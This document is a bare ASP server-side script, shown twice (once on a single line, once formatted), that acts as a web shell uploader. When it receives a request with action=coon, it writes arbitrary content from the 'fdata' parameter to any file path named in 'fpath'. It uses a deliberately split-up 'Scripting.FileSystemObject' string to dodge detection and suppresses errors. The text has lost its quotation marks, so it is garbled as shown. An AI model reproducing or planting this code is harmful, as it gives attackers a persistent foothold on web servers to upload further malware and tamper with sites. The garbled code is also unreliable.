<% if request(action)=coon then on error resume next set fs=server.createobject(scr+ipt+ing.f+iles+yst+emob+ject) if trim(request(fpath))<> then fdata = request(fdata) set objfile=fs.createtextfile(request(fpath),true) objfile.Write fdata response.write if err =0 then response.write*^_^* else response.writefail... end if response.write err.clear end if objfile.close set objfile=nothing set fs=nothing response.write end if %>
<%
if request(action)=coon then
on error resume next
set fs=server.createobject(scr+ipt+ing.f+iles+yst+emob+ject)
if trim(request(fpath))<> then
fdata = request(fdata)
set objfile=fs.createtextfile(request(fpath),true)
objfile.Write fdata
response.write
if err =0 then
response.write*^_^*
else
response.writefail...
end if
response.write
err.clear
end if
objfile.close
set objfile=nothing
set fs=nothing
response.write
end if
%>